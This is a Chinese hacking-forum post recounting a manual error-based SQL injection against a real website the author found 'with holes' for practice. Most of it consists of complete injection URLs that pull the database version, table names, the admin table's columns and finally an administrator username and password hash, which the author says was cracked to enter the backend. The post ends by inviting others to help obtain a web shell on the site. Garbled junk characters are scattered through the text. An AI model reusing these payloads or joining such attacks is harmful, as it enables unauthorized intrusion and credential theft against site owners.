近一直在学习数据库方面的知识,一直在钻研PHP的一些高级注入语法,感觉比较的有意思。于是就在网上找有洞的网站练习手注。于是有了下文。6 w. U# I \0 }
首先找到网站后台,加了个admin,后台出来了
( O4 g& X# c5 Z2 |/ n( ]8 P/ t0 e& I( K) p3 E6 Q6 w1 ~+ h' m
) L9 R8 X! x; Q! l3 `0 O2 o3 |
然后看了下网站,发现貌似都是html静态网页,但是通过图片链接发现应该是伪静态,于是在后面加了个 ',报错了,初步判断可以注入
5 Z+ o3 M; W: c M3 Z( Whttp://www.myhack58.com/Article/UploadPic/2012-12/20121218145843714.jpg 从报错语句中我们可以判断出存在frame_board_conference 表,知道存在frame_board_conference,可以方便我们后面的注入。这里我用的是错误回显注入。 首先查下数据库相关信息。 www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*) from+frame_board_conference+group+by+concat(0x3a,concat(0x3a,database(),0x3a,version()),floor(rand(0)*2)))—
& @5 P0 u: Y' C* q ]4 t! h% k( l: o- s
4 r7 x/ r9 L; M! P# t6 G
* F7 V1 u l* S, A3 d% ]( }& |, s$ [$ {, y
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145846722.jpg9 `5 M, r, l2 D/ G0 J
' q0 O* ~$ v# D- _3 G6 r) Q
9 L' P* x f! Y0 `0 ? Y6 O% w
, U# f4 n3 J" T: W1 |) h% J& M; H% h3 c
可以看到数据库版本为5.0.32,存在information_schema表,可以进一步的注入。 然后我们查表 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(table_name),1,150)from+information_schema.tables+where+table_schema=database()),0x3a,floor(rand(0)*2)))-- 得到管理员表段frame_administrator/ w2 P! }; n3 O" X5 l: W1 \
8 g* n* Z, I( a- c/ M: \, ]* A
+ X- |% D A; @% l% Y Qhttp://www.myhack58.com/Article/UploadPic/2012-12/20121218145846695.jpg
' w' O7 r8 v6 m+ B9 u& f. W6 h4 T5 w; u% T4 r
3 Q% a- c* ]' { 查字段 http://www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(column_name),1,150)from+information_schema.columns+where+table_name=0x6672616d655f61646d696e6973747261746f72),0x3a,floor(rand(0)*2)))--' l7 [' V! Y ^1 m
& S6 o( @9 i' J. N6 ]3 ~% c2 j. e, Q/ z0 a; P# |! t
3 Z2 |) d& {, U' S, i8 ?3 g" s
得到userID,userPass字段 最后 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(userID,0x3a,userPass,0x0a),1,150)from+frame_administrator),0x3a,floor(rand(0)*2)))--! N3 V3 m: a; R
- {& k! u% c; G0 ~" k4 z7 z
& h- ?. r. f5 P! ]# {6 c. {6 h
- W+ D+ F' X5 I9 v- B' `" J R! |
得到最终结果admin eb0a191797624dd3a48fa681d3061212 解密后成功进入后台,但是在获得shell的过程中出了点问题,可以穿php但是貌似无法解析,不知道什么原因,本人很菜,在这里希望大牛有兴趣的话帮忙拿下shell,感激不尽。Pm我,我把网址发给你。 |